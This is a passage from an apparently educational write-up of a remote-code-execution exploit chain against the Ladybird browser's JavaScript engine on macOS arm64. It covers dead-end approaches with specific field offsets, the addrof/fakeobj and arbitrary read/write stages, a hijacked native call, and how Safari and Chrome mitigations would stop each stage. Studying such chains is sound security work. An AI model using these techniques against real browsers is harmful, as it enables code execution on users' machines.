ArrayBuffer overlap to learn X. new ArrayBuffer(131072) reliably reclaims X (verified by writing through viewA and reading through a fresh view). But that gives us two typed arrays viewing the same bytes, no type confusion, no addrof, and we still can't read the buffer's address without arb-read. Useful for confirming the bin size; useless for progress.
Inline-ArrayBuffer fake body. ByteBuffer has 32 bytes of inline storage, so new ArrayBuffer(32)'s data lives at addrof(ab)+64, a known address we can write to! But a fake TypedArray needs fields at +10, +68, +92, +104, a 112-byte span. 32 controllable bytes can't cover it, and the gaps are vtables and GC headers.
Shifted fakeobj on a single cell. Before settling on ฮ”=16 across two cells, we tabulated ฮ” โˆˆ {โˆ’24, โˆ’16, โˆ’8, +8, +16, +24, +38, +40, +42, +44, +46, +48, +56, +72} for both the typed-array and packed-array fast paths. Almost every ฮ” put either m_data or array_length on uncontrollable bytes (vtable, shape pointer, the wrong half of an address). ฮ”=16 spanning into the next cell was the only fully-constrained solution.
typeof fake === 'object' as the retry check. The forged flags byte is bits 16-23 of the holder's address. When bit 23 happens to be 1, the IsFunction flag is set and typeof returns "function". The retry loop spun forever on a perfectly good fake. f !== 0 is the only safe test, strict-equals between mismatched tags is a single asm compare with no field reads.
Single rw with m_data=4. A Uint32Array with length 0x7FFFFFFF and base 4 reaches 8 GiB. The GC heap (โ‰ˆ5.5 GiB) and dylibs (โ‰ˆ4.3 GiB) are in range; the VM object (โ‰ˆ35 GiB, because operator new goes through mimalloc's high arena) is not. Discovered when r64(heap_addr) returned the right value but every read past 8 GiB silently fell off the fast path and returned undefined.
JOP to control x0. At the blr site, x5 holds the last JS argument and x6 points at the argument array - both attacker-influenced. A gadget like ldr x0,[x6,#8]; ldr x8,[x6]; blr x8 would be a universal call(args[0], args[1]). liblagom-js has 931 K instructions; the closest matches were mov x0, x5; bl <fixed_fn> (can't redirect) and mov x0, x5; ldp x29,x30,[sp]; ret (returns to garbage). With uname happy to take VM* directly, we stopped looking.

10. Lessons for systems programmers

11. Why this exact chain dies on Safari and Chrome

Everything above worked because Ladybird is, mitigation-wise, roughly where WebKit was circa 2015. It's worth mapping each stage onto a modern engine to see which defensive layer would have stopped it, because that mapping is the curriculum for production browser exploitation: you learn the clean primitive ladder first, then you learn one bypass per rung.

stagewhat we didSafari / JavaScriptCore (arm64e)Chrome / V8
ยง5 fakeobj(H+16): point an object reference 16 bytes into a real cell and let the asm fast path read the wrong fields The JSCell header holds a compressed Structure pointer (an offset into a dedicated Structure heap); fast paths dereference it for the type check before trusting any field. A misaligned cell has garbage in that slot and falls off the fast path. This is a type check rather than a purpose-built anti-forgery layer, so it's softer than the three below; the hard wall at this stage is that the typed-array vector you'd be forging is caged anyway (next row). Object headers carry a compressed Map pointer into read-only space; the type check fails the same way, with the same caveat.
ยง6 set rw2.m_data = any 48-bit address and read/write the whole process through a Uint32Array Gigacage. Typed-array backing pointers are stored as offsets inside a multi-GB reserved region, and every element access masks the effective address back into the cage. Corrupting the field lets you roam the cage, not the process; the GC heap, the GOT and the VM object are all outside it. V8 heap sandbox. Backing stores are sandboxed pointers (a 40-bit offset into a 1 TB reservation); every external pointer (C++ objects, embedder data, code entry points) is an index into a type-tagged table that lives outside the sandbox. Arb-R/W inside the sandbox cannot reach the table or anything it points at.
ยง7 w64(addrof(Array.isArray)+96, &uname) then call it; the asm Call path does a raw blr x9 PAC. The WebContent process is built as arm64e. Native entry points are signed (instruction key A, per-slot discriminator) and the call site is blraa. A raw &uname fails authentication and the kernel delivers SIGKILL before the branch. You need a separate signing-oracle primitive to forge it. Code pointer table / trusted space. There is no "m_native_function" qword in a writable heap cell. JSFunction โ†’ SharedFunctionInfo โ†’ Code ends at an index into a code-pointer table that sits in memory the in-sandbox arb-R/W cannot touch. (Chrome on macOS ships as plain arm64, so PAC is not the blocker here; the indirection is.)
ยง7.4 system("/bin/sh -c โ€ฆ") from the renderer Both renderers run under a sandbox profile with no fork/exec/posix_spawn. system() returns -1. Renderer code execution is the start of the chain, not the end; the next step is a broker-IPC or kernel bug.

So on a current Safari this chain is stopped three independent times (Gigacage, PAC, sandbox) and on current Chrome likewise (heap sandbox, code-pointer indirection, sandbox), with the Structure/Map type check as a softer fourth obstacle at the fakeobj step. Real-world chains against those engines spend most of their length on the bypasses: a Gigacage escape or a Structure-heap leak for JSC, a V8-sandbox escape (corrupting the trusted pointer tables, or a bug in Turbofan-emitted code that writes outside the cage) for Chrome, then a PAC oracle or a JIT-spray for control flow, then a separate sandbox-escape bug entirely.

That layering is exactly why Ladybird is the right place to learn this. Each primitive here does what its name says, with nothing in the way, so you can see why addrof/fakeobj are the universal currency, why caging the typed-array backing store is the single highest-value mitigation, and why a raw indirect blr through writable memory is the thing every engine eventually stops doing. When you later read a Safari Pwn2Own writeup and it spends twenty pages getting around the cage, you'll already know what the cage is protecting and what the attacker would do the moment they're past it: precisely the ladder in ยง4-ยง7.

* * *
Exploit: bug1-rce-uname.html ยท Ladybird release build, macOS arm64